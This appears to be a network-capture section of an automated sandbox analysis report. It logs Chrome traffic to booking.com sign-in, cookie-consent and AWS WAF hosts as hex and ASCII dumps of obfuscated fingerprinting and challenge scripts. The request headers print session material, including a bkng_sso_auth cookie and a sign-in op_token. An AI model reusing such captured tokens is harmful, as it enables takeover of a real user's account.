2024-07-08 22:43:46 UTC	8184	IN	Data Raw: 5c 78 33 31 5c 78 33 31 5c 78 33 35 5c 78 33 32 5c 78 33 39 5c 78 33 30 5c 78 33 30 5c 78 33 35 5c 78 33 30 5c 78 33 33 5c 78 33 33 5c 78 33 35 5c 78 36 34 5c 78 33 35 5c 78 33 39 5c 78 33 35 5c 78 36 34 5c 78 33 35 5c 78 36 32 5c 78 33 34 5c 78 36 36 5c 78 33 31 5c 78 33 32 5c 78 33 31 5c 78 33 38 5c 78 33 36 5c 78 33 38 5c 78 33 30 5c 78 36 31 5c 78 33 35 5c 78 36 32 5c 78 33 35 5c 78 36 35 5c 78 33 35 5c 78 33 36 5c 78 33 32 5c 78 33 30 5c 78 33 35 5c 78 36 35 5c 78 33 35 5c 78 36 33 5c 78 33 34 5c 78 36 32 5c 78 33 30 5c 78 36 34 5c 78 33 35 5c 78 33 39 5c 78 33 30 5c 78 33 35 5c 78 33 37 5c 78 33 38 5c 78 33 34 5c 78 33 33 5c 78 33 30 5c 78 33 37 5c 78 33 35 5c 78 36 34 5c 78 33 37 5c 78 33 30 5c 78 33 36 5c 78 33 30 5c 78 33 32 5c 78 33 36 5c 78 33 Data Ascii: \x31\x31\x35\x32\x39\x30\x30\x35\x30\x33\x33\x35\x64\x35\x39\x35\x64\x35\x62\x34\x66\x31\x32\x31\x38\x36\x38\x30\x61\x35\x62\x35\x65\x35\x36\x32\x30\x35\x65\x35\x63\x34\x62\x30\x64\x35\x39\x30\x35\x37\x38\x34\x33\x30\x37\x35\x64\x37\x30\x36\x30\x32\x36\x3
2024-07-08 22:43:46 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-07-08 22:43:46 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 66 28 34 39 2c 37 29 29 3a 6e 75 6c 6c 29 2c 76 65 72 73 69 6f 6e 53 65 61 72 63 68 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 35 69 2e 74 64 7a 5f 32 33 62 36 66 64 61 33 64 34 37 39 34 38 61 38 38 62 34 30 33 61 30 38 39 62 30 61 37 33 62 33 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 35 69 2e 74 64 7a 5f 32 33 62 36 66 64 61 33 64 34 37 39 34 38 61 38 38 62 34 30 33 61 30 38 39 62 30 61 37 33 62 33 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 35 69 2e 74 64 7a 5f 32 33 62 36 66 64 61 33 64 34 37 39 34 38 61 38 38 62 34 30 33 61 30 38 39 62 30 61 37 33 62 33 2e 74 64 5f 66 28 35 36 2c 36 29 29 3a 6e 75 6c 6c 29 2c 69 64 65 6e 74 69 74 79 3a 28 28 74 79 70 65 6f 66 28 74 Data Ascii: 1ff8f(49,7)):null),versionSearch:((typeof(td_5i.tdz_23b6fda3d47948a88b403a089b0a73b3)!=="undefined"&&typeof(td_5i.tdz_23b6fda3d47948a88b403a089b0a73b3.td_f)!=="undefined")?(td_5i.tdz_23b6fda3d47948a88b403a089b0a73b3.td_f(56,6)):null),identity:((typeof(t
2024-07-08 22:43:46 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2024-07-08 22:43:46 UTC	8184	IN	Data Raw: 34 38 61 38 38 62 34 30 33 61 30 38 39 62 30 61 37 33 62 33 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 35 69 2e 74 64 7a 5f 32 33 62 36 66 64 61 33 64 34 37 39 34 38 61 38 38 62 34 30 33 61 30 38 39 62 30 61 37 33 62 33 2e 74 64 5f 66 28 31 39 36 2c 36 29 29 3a 6e 75 6c 6c 29 7d 2c 7b 73 74 72 69 6e 67 3a 74 64 5f 49 2c 73 75 62 53 74 72 69 6e 67 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 35 69 2e 74 64 7a 5f 32 33 62 36 66 64 61 33 64 34 37 39 34 38 61 38 38 62 34 30 33 61 30 38 39 62 30 61 37 33 62 33 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 35 69 2e 74 64 7a 5f 32 33 62 36 66 64 61 33 64 34 37 39 34 38 61 38 38 62 34 30 33 61 30 38 39 62 30 61 37 33 62 33 2e 74 64 5f 66 29 21 3d 3d Data Ascii: 48a88b403a089b0a73b3.td_f)!=="undefined")?(td_5i.tdz_23b6fda3d47948a88b403a089b0a73b3.td_f(196,6)):null)},{string:td_I,subString:((typeof(td_5i.tdz_23b6fda3d47948a88b403a089b0a73b3)!=="undefined"&&typeof(td_5i.tdz_23b6fda3d47948a88b403a089b0a73b3.td_f)!==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49900	18.164.96.48	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:46 UTC	860	OUT	GET /ec/e.html?name=ecid HTTP/1.1 Host: saa.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bkng_sso_auth=CAIQsOnuTRpmaou+GEKeulaBbe/D0RNKi0n1KM9uEq17CoZ9ceIKbGu/yAcBi15SiUijsLL7hKBbdn2ziy9rleT/h/+mYqJx9Ltvzo4bCiS9vD0LPjuOlYCJGG9yEJ4LEajGRIlOfN54d2s0MMke; pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D91c4cf11-d893-45ba-a7de-4fecf555ad97%26consentedAt%3D2024-07-08T22%3A43%3A33.173Z%26expiresAt%3D2025-01-04T22%3A43%3A33.173Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DNY%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_session=e30; bkng_sso_ses=e30
2024-07-08 22:43:46 UTC	477	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=UTF-8 Content-Length: 22 Connection: close date: Mon, 08 Jul 2024 22:43:46 GMT server: Perl Dancer2 0.300004 x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Error from cloudfront Via: 1.1 f8debc28b6c73eb3dc7540e2ac2f0e18.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: HXgazQ3D71PfMcmB2HdA1y5-1ogHNaVOB_4wbLWmklcHqPnjdtcGTg==
2024-07-08 22:43:46 UTC	22	IN	Data Raw: 49 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 20 6f 72 69 67 69 6e Data Ascii: Invalid request origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49896	18.164.96.48	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:46 UTC	783	OUT	POST /csp-report-uri?type=report&tag=213&pid=274d9fcc793b012b&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgc98bqahgr47JzxlobzO23kgJ03VHUtWyW-H9Q7CKxuYnf7KzrqsVI0 HTTP/1.1 Host: nellie.booking.com Connection: keep-alive Content-Length: 1768 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:46 UTC	1768	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 73 69 67 6e 2d 69 6e 3f 6f 70 5f 74 6f 6b 65 6e 3d 45 67 56 76 59 58 56 30 61 43 4a 48 43 68 51 32 57 6a 63 79 62 30 68 50 5a 44 4d 32 54 6d 34 33 65 6d 73 7a 63 47 6c 79 61 42 49 4a 59 58 56 30 61 47 39 79 61 58 70 6c 47 68 70 6f 64 48 52 77 63 7a 6f 76 4c 32 46 6b 62 57 6c 75 4c 6d 4a 76 62 32 74 70 62 6d 63 75 59 32 39 74 4c 79 6f 43 65 33 31 43 42 47 4e 76 5a 47 55 71 45 6a 44 64 33 62 53 53 75 66 34 6d 4f 67 42 43 41 46 6a 41 32 4d 32 78 42 67 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 76 69 6f 6c 61 74 65 64 2d 64 69 72 65 63 74 69 76 65 22 3a 22 73 63 72 69 70 74 2d Data Ascii: {"csp-report":{"document-uri":"https://account.booking.com/sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg","referrer":"","violated-directive":"script-
2024-07-08 22:43:46 UTC	468	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: nginx date: Mon, 08 Jul 2024 22:43:46 GMT x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 68f2eed06d7ecb02b863cacb0da2fc28.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: CI8og-GbXnORMflJdGcrU-8KqbiPt1R5QBNqZNBYcj3pMYe1LII-0g==
2024-07-08 22:43:46 UTC	7	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a Data Ascii: 2{}
2024-07-08 22:43:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49902	104.19.177.52	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:46 UTC	639	OUT	GET /consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/a387750c-a080-4dd0-b2d1-7dbdb601bb14.json HTTP/1.1 Host: cdn.cookielaw.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://account.booking.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:46 UTC	902	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:46 GMT Content-Type: application/x-javascript Transfer-Encoding: chunked Connection: close CF-Ray: 8a039858ccd94382-EWR CF-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 11910 Cache-Control: public, max-age=86400 Expires: Tue, 09 Jul 2024 22:43:46 GMT Last-Modified: Fri, 02 Feb 2024 16:31:18 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: Accept-Encoding Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Content-MD5: 0+JgRsdjEhmuq1b70Gr11w== X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 74340130-201e-0007-5df5-5555e0000000 x-ms-version: 2009-09-19 Server: cloudflare
2024-07-08 22:43:46 UTC	467	IN	Data Raw: 31 61 30 39 0d 0a 7b 22 43 6f 6f 6b 69 65 53 50 41 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 43 6f 6f 6b 69 65 53 61 6d 65 53 69 74 65 4e 6f 6e 65 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 43 6f 6f 6b 69 65 56 32 43 53 50 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 4d 75 6c 74 69 56 61 72 69 61 6e 74 54 65 73 74 69 6e 67 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 55 73 65 56 32 22 3a 74 72 75 65 2c 22 4d 6f 62 69 6c 65 53 44 4b 22 3a 66 61 6c 73 65 2c 22 53 6b 69 70 47 65 6f 6c 6f 63 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 53 63 72 69 70 74 54 79 70 65 22 3a 22 50 52 4f 44 55 43 54 49 4f 4e 22 2c 22 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 33 30 35 2e 31 2e 30 22 2c 22 4f 70 74 61 6e 6f 6e 44 61 74 61 4a 53 4f 4e 22 3a 22 61 33 38 37 Data Ascii: 1a09{"CookieSPAEnabled":false,"CookieSameSiteNoneEnabled":false,"CookieV2CSPEnabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"MobileSDK":false,"SkipGeolocation":false,"ScriptType":"PRODUCTION","Version":"202305.1.0","OptanonDataJSON":"a387
2024-07-08 22:43:46 UTC	1369	IN	Data Raw: 74 22 3a 5b 7b 22 49 64 22 3a 22 39 37 37 38 66 34 61 62 2d 36 62 34 61 2d 34 65 30 33 2d 62 64 66 38 2d 38 36 61 35 63 30 33 37 63 34 62 66 22 2c 22 4e 61 6d 65 22 3a 22 55 53 22 2c 22 43 6f 75 6e 74 72 69 65 73 22 3a 5b 22 75 73 22 5d 2c 22 53 74 61 74 65 73 22 3a 7b 7d 2c 22 4c 61 6e 67 75 61 67 65 53 77 69 74 63 68 65 72 50 6c 61 63 65 68 6f 6c 64 65 72 22 3a 7b 22 6e 6f 22 3a 22 6e 6f 22 2c 22 68 69 22 3a 22 68 69 22 2c 22 64 65 22 3a 22 64 65 22 2c 22 72 75 22 3a 22 72 75 22 2c 22 66 69 22 3a 22 66 69 22 2c 22 65 6e 2d 55 53 22 3a 22 65 6e 2d 55 53 22 2c 22 62 67 22 3a 22 62 67 22 2c 22 6c 74 22 3a 22 6c 74 22 2c 22 6c 76 22 3a 22 6c 76 22 2c 22 68 72 22 3a 22 68 72 22 2c 22 66 72 22 3a 22 66 72 22 2c 22 68 75 22 3a 22 68 75 22 2c 22 64 65 66 61 75 Data Ascii: t":[{"Id":"9778f4ab-6b4a-4e03-bdf8-86a5c037c4bf","Name":"US","Countries":["us"],"States":{},"LanguageSwitcherPlaceholder":{"no":"no","hi":"hi","de":"de","ru":"ru","fi":"fi","en-US":"en-US","bg":"bg","lt":"lt","lv":"lv","hr":"hr","fr":"fr","hu":"hu","defau
2024-07-08 22:43:46 UTC	1369	IN	Data Raw: 2d 48 61 6e 74 22 2c 22 75 6b 22 3a 22 75 6b 22 2c 22 73 6b 22 3a 22 73 6b 22 2c 22 73 6c 22 3a 22 73 6c 22 2c 22 69 64 22 3a 22 69 64 22 2c 22 63 61 22 3a 22 63 61 22 2c 22 73 72 22 3a 22 73 72 22 2c 22 73 76 22 3a 22 73 76 22 2c 22 6b 6f 22 3a 22 6b 6f 22 2c 22 70 74 2d 42 52 22 3a 22 70 74 2d 42 52 22 2c 22 6d 73 22 3a 22 6d 73 22 2c 22 65 6c 22 3a 22 65 6c 22 2c 22 69 73 22 3a 22 69 73 22 2c 22 69 74 22 3a 22 69 74 22 2c 22 65 73 2d 4d 58 22 3a 22 65 73 2d 4d 58 22 2c 22 65 73 22 3a 22 65 73 22 2c 22 7a 68 22 3a 22 7a 68 22 2c 22 65 74 22 3a 22 65 74 22 2c 22 63 73 22 3a 22 63 73 22 2c 22 61 72 22 3a 22 61 72 22 2c 22 70 74 2d 50 54 22 3a 22 70 74 2d 50 54 22 2c 22 76 69 22 3a 22 76 69 22 2c 22 74 68 22 3a 22 74 68 22 2c 22 65 73 2d 41 52 22 3a 22 65 Data Ascii: -Hant","uk":"uk","sk":"sk","sl":"sl","id":"id","ca":"ca","sr":"sr","sv":"sv","ko":"ko","pt-BR":"pt-BR","ms":"ms","el":"el","is":"is","it":"it","es-MX":"es-MX","es":"es","zh":"zh","et":"et","cs":"cs","ar":"ar","pt-PT":"pt-PT","vi":"vi","th":"th","es-AR":"e
2024-07-08 22:43:46 UTC	1369	IN	Data Raw: 63 61 22 2c 22 73 72 22 2c 22 63 63 22 2c 22 73 73 22 2c 22 63 64 22 2c 22 73 74 22 2c 22 63 66 22 2c 22 73 76 22 2c 22 63 67 22 2c 22 73 78 22 2c 22 63 68 22 2c 22 63 69 22 2c 22 73 79 22 2c 22 73 7a 22 2c 22 63 6b 22 2c 22 63 6c 22 2c 22 63 6d 22 2c 22 63 6f 22 2c 22 63 72 22 2c 22 74 63 22 2c 22 74 64 22 2c 22 74 66 22 2c 22 63 75 22 2c 22 74 67 22 2c 22 63 76 22 2c 22 63 77 22 2c 22 74 68 22 2c 22 63 78 22 2c 22 74 6a 22 2c 22 74 6b 22 2c 22 74 6c 22 2c 22 74 6d 22 2c 22 74 6e 22 2c 22 74 6f 22 2c 22 74 72 22 2c 22 74 74 22 2c 22 74 76 22 2c 22 74 77 22 2c 22 64 6a 22 2c 22 74 7a 22 2c 22 64 6d 22 2c 22 64 6f 22 2c 22 75 61 22 2c 22 75 67 22 2c 22 64 7a 22 2c 22 75 6d 22 2c 22 65 63 22 2c 22 65 67 22 2c 22 65 68 22 2c 22 75 79 22 2c 22 75 7a 22 2c 22 Data Ascii: ca","sr","cc","ss","cd","st","cf","sv","cg","sx","ch","ci","sy","sz","ck","cl","cm","co","cr","tc","td","tf","cu","tg","cv","cw","th","cx","tj","tk","tl","tm","tn","to","tr","tt","tv","tw","dj","tz","dm","do","ua","ug","dz","um","ec","eg","eh","uy","uz","
2024-07-08 22:43:46 UTC	1369	IN	Data Raw: 74 22 3a 74 72 75 65 2c 22 47 6c 6f 62 61 6c 22 3a 74 72 75 65 2c 22 54 79 70 65 22 3a 22 47 44 50 52 22 2c 22 55 73 65 47 6f 6f 67 6c 65 56 65 6e 64 6f 72 73 22 3a 66 61 6c 73 65 2c 22 56 61 72 69 61 6e 74 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 54 65 73 74 45 6e 64 54 69 6d 65 22 3a 6e 75 6c 6c 2c 22 56 61 72 69 61 6e 74 73 22 3a 5b 5d 2c 22 54 65 6d 70 6c 61 74 65 4e 61 6d 65 22 3a 22 43 75 73 74 6f 6d 65 72 20 2d 20 41 63 63 65 70 74 2f 44 65 63 6c 69 6e 65 22 2c 22 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 5b 5d 2c 22 47 43 45 6e 61 62 6c 65 22 3a 66 61 6c 73 65 2c 22 49 73 47 50 50 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 7d 5d 2c 22 49 61 62 44 61 74 61 22 3a 7b 22 63 6f 6f 6b 69 65 56 65 72 73 69 6f 6e 22 3a 22 31 22 2c 22 63 72 65 61 74 65 64 Data Ascii: t":true,"Global":true,"Type":"GDPR","UseGoogleVendors":false,"VariantEnabled":false,"TestEndTime":null,"Variants":[],"TemplateName":"Customer - Accept/Decline","Conditions":[],"GCEnable":false,"IsGPPEnabled":false}],"IabData":{"cookieVersion":"1","created
2024-07-08 22:43:46 UTC	730	IN	Data Raw: 65 73 22 3a 7b 22 43 6f 6f 6b 69 65 56 32 42 61 6e 6e 65 72 46 6f 63 75 73 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 47 50 43 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 41 73 73 69 67 6e 54 65 6d 70 6c 61 74 65 52 75 6c 65 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 47 65 6f 6c 6f 63 61 74 69 6f 6e 4a 73 6f 6e 41 70 69 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 47 43 4d 44 4d 41 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 54 43 46 32 31 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 52 65 6d 6f 76 65 53 65 74 74 69 6e 67 73 49 63 6f 6e 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 42 61 6e 6e 65 72 4c 6f 67 6f 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 47 65 6e 65 72 61 6c 56 65 6e 64 6f 72 73 22 3a 74 72 75 65 2c 22 43 6f Data Ascii: es":{"CookieV2BannerFocus":true,"CookieV2GPC":true,"CookieV2AssignTemplateRule":true,"CookieV2GeolocationJsonApi":true,"CookieV2GCMDMA":true,"CookieV2TCF21":true,"CookieV2RemoveSettingsIcon":true,"CookieV2BannerLogo":true,"CookieV2GeneralVendors":true,"Co
2024-07-08 22:43:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49899	18.244.18.18	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:46 UTC	589	OUT	GET /d8c14d4960ca/c2181391033f/challenge.js HTTP/1.1 Host: d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:47 UTC	596	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 1094754 Connection: close Vary: Accept-Encoding Date: Mon, 08 Jul 2024 22:43:47 GMT cache-control: private, max-age=86400, stale-while-revalidate=604800 last-modified: Mon, 8 Jul 2024 22:43:47 +0000 pragma: no-cache expires: 0 x-amzn-waf-challenge-id: Root=1-668c6ba3-6141321717d99f7623510bfa X-Cache: Miss from cloudfront Via: 1.1 0b761d2a74b283528cf840bf9ce44b20.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P11 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: wOuiraCPDLrtShqRmhYglLmSxvR7d-tSSHYcNQ9D7ALcBOC-O8WYgg==
2024-07-08 22:43:47 UTC	15788	IN	Data Raw: 2f 2a 21 20 3c 21 2d 40 70 72 65 73 65 72 76 65 20 41 57 53 20 57 41 46 20 49 6e 74 65 67 72 61 74 69 6f 6e 20 44 65 76 65 6c 6f 70 65 72 20 47 75 69 64 65 20 3c 68 74 74 70 73 3a 2f 2f 64 6f 63 73 2e 61 77 73 2e 61 6d 61 7a 6f 6e 2e 63 6f 6d 2f 77 61 66 2f 6c 61 74 65 73 74 2f 64 65 76 65 6c 6f 70 65 72 67 75 69 64 65 2f 77 61 66 2d 6a 61 76 61 73 63 72 69 70 74 2d 61 70 69 2e 68 74 6d 6c 3e 2d 2d 3e 20 2a 2f 0a 76 61 72 20 61 32 5f 30 78 32 33 38 30 3d 5b 27 46 72 61 6e 6b 6c 69 6e 5c 78 32 30 47 6f 74 68 69 63 5c 78 32 30 44 65 6d 69 27 2c 27 43 68 61 70 61 72 72 61 6c 5c 78 32 30 50 72 6f 27 2c 27 4d 69 6e 69 6f 6e 5c 78 32 30 50 72 6f 5c 78 32 30 43 6f 6e 64 27 2c 27 70 72 66 4f 69 64 27 2c 27 61 75 74 68 6f 72 69 74 79 4b 65 79 49 64 65 6e 74 69 66 Data Ascii: /! <!-@preserve AWS WAF Integration Developer Guide <https://docs.aws.amazon.com/waf/latest/developerguide/waf-javascript-api.html>--> /var a2_0x2380=['Franklin\x20Gothic\x20Demi','Chaparral\x20Pro','Minion\x20Pro\x20Cond','prfOid','authorityKeyIdentif
2024-07-08 22:43:47 UTC	16384	IN	Data Raw: 69 70 6c 79 27 2c 27 65 6e 63 5f 6b 65 79 5f 6c 65 6e 67 74 68 27 2c 27 55 6e 69 64 65 6e 74 69 66 69 65 64 27 2c 27 69 73 4e 75 6d 62 65 72 4e 61 4e 27 2c 27 62 69 6e 64 27 2c 27 48 61 6e 64 73 68 61 6b 65 5c 78 32 30 61 6c 72 65 61 64 79 5c 78 32 30 69 6e 5c 78 32 30 70 72 6f 67 72 65 73 73 2e 27 2c 27 70 61 72 73 65 48 65 6c 6c 6f 4d 65 73 73 61 67 65 27 2c 27 31 31 32 33 31 34 39 57 54 51 69 6e 58 27 2c 27 6c 65 6e 67 74 68 27 2c 27 52 53 41 45 53 2d 50 4b 43 53 31 2d 56 31 5f 35 27 2c 27 72 67 62 28 30 2c 32 35 35 2c 32 35 35 29 27 2c 27 4d 65 73 73 61 67 65 5c 78 32 30 69 73 5c 78 32 30 74 6f 6f 5c 78 32 30 6c 6f 6e 67 5c 78 32 30 66 6f 72 5c 78 32 30 50 4b 43 53 23 31 5c 78 32 30 76 31 2e 35 5c 78 32 30 70 61 64 64 69 6e 67 2e 27 2c 27 73 68 61 32 Data Ascii: iply','enc_key_length','Unidentified','isNumberNaN','bind','Handshake\x20already\x20in\x20progress.','parseHelloMessage','1123149WTQinX','length','RSAES-PKCS1-V1_5','rgb(0,255,255)','Message\x20is\x20too\x20long\x20for\x20PKCS#1\x20v1.5\x20padding.','sha2
2024-07-08 22:43:47 UTC	1784	IN	Data Raw: 65 64 27 2c 27 63 68 65 63 6b 73 75 6d 27 2c 27 44 45 46 41 55 4c 54 5f 53 41 4d 50 4c 45 5f 52 41 54 45 27 2c 27 44 4f 43 55 4d 45 4e 54 5f 49 4e 54 45 52 41 43 54 49 4f 4e 5f 45 56 45 4e 54 53 27 2c 27 61 64 64 69 74 69 6f 6e 61 6c 44 61 74 61 27 2c 27 42 69 63 6b 68 61 6d 5c 78 32 30 53 63 72 69 70 74 5c 78 32 30 4f 6e 65 27 2c 27 63 72 65 61 74 65 45 6e 63 72 79 70 74 65 64 44 61 74 61 27 2c 27 61 6c 67 6f 72 69 74 68 6d 73 27 2c 27 46 6f 72 6d 49 6e 70 75 74 54 65 6c 65 6d 65 74 72 79 43 6f 6c 6c 65 63 74 6f 72 27 2c 27 31 2e 32 2e 38 34 30 2e 31 31 33 35 34 39 2e 31 2e 37 2e 33 27 2c 27 63 6f 6e 63 61 74 27 2c 27 52 6f 6d 61 6e 44 27 2c 27 72 65 67 69 73 74 65 72 41 6c 67 6f 72 69 74 68 6d 27 2c 27 6d 61 63 4c 65 6e 67 74 68 27 2c 27 46 72 61 6e 6b Data Ascii: ed','checksum','DEFAULT_SAMPLE_RATE','DOCUMENT_INTERACTION_EVENTS','additionalData','Bickham\x20Script\x20One','createEncryptedData','algorithms','FormInputTelemetryCollector','1.2.840.113549.1.7.3','concat','RomanD','registerAlgorithm','macLength','Frank
2024-07-08 22:43:47 UTC	16384	IN	Data Raw: 30 74 6f 5c 78 32 30 62 65 5c 78 32 30 61 5c 78 32 30 53 45 51 55 45 4e 43 45 5c 78 32 30 4f 46 5c 78 32 30 53 61 66 65 42 61 67 2e 27 2c 27 43 6f 6d 6d 65 6e 74 3a 5c 78 32 30 27 2c 27 55 4e 4d 41 53 4b 45 44 5f 56 45 4e 44 4f 52 5f 57 45 42 47 4c 27 2c 27 64 69 67 65 73 74 41 6c 67 6f 72 69 74 68 6d 27 2c 27 5c 78 32 30 28 6d 61 6c 66 6f 72 6d 65 64 5c 78 32 30 55 54 46 38 29 27 2c 27 6c 69 73 74 45 6c 42 6f 64 79 27 2c 27 64 69 76 69 64 65 41 6e 64 52 65 6d 61 69 6e 64 65 72 27 2c 27 61 77 73 77 61 66 5f 74 6f 6b 65 6e 5f 72 65 66 72 65 73 68 5f 74 69 6d 65 73 74 61 6d 70 27 2c 27 63 65 72 74 69 6e 66 6f 53 69 67 6e 61 74 75 72 65 4f 69 64 27 2c 27 43 65 72 74 42 61 67 2e 63 65 72 74 56 61 6c 75 65 27 2c 27 55 74 73 61 61 68 27 2c 27 4d 69 6c 6c 69 73 Data Ascii: 0to\x20be\x20a\x20SEQUENCE\x20OF\x20SafeBag.','Comment:\x20','UNMASKED_VENDOR_WEBGL','digestAlgorithm','\x20(malformed\x20UTF8)','listElBody','divideAndRemainder','awswaf_token_refresh_timestamp','certinfoSignatureOid','CertBag.certValue','Utsaah','Millis
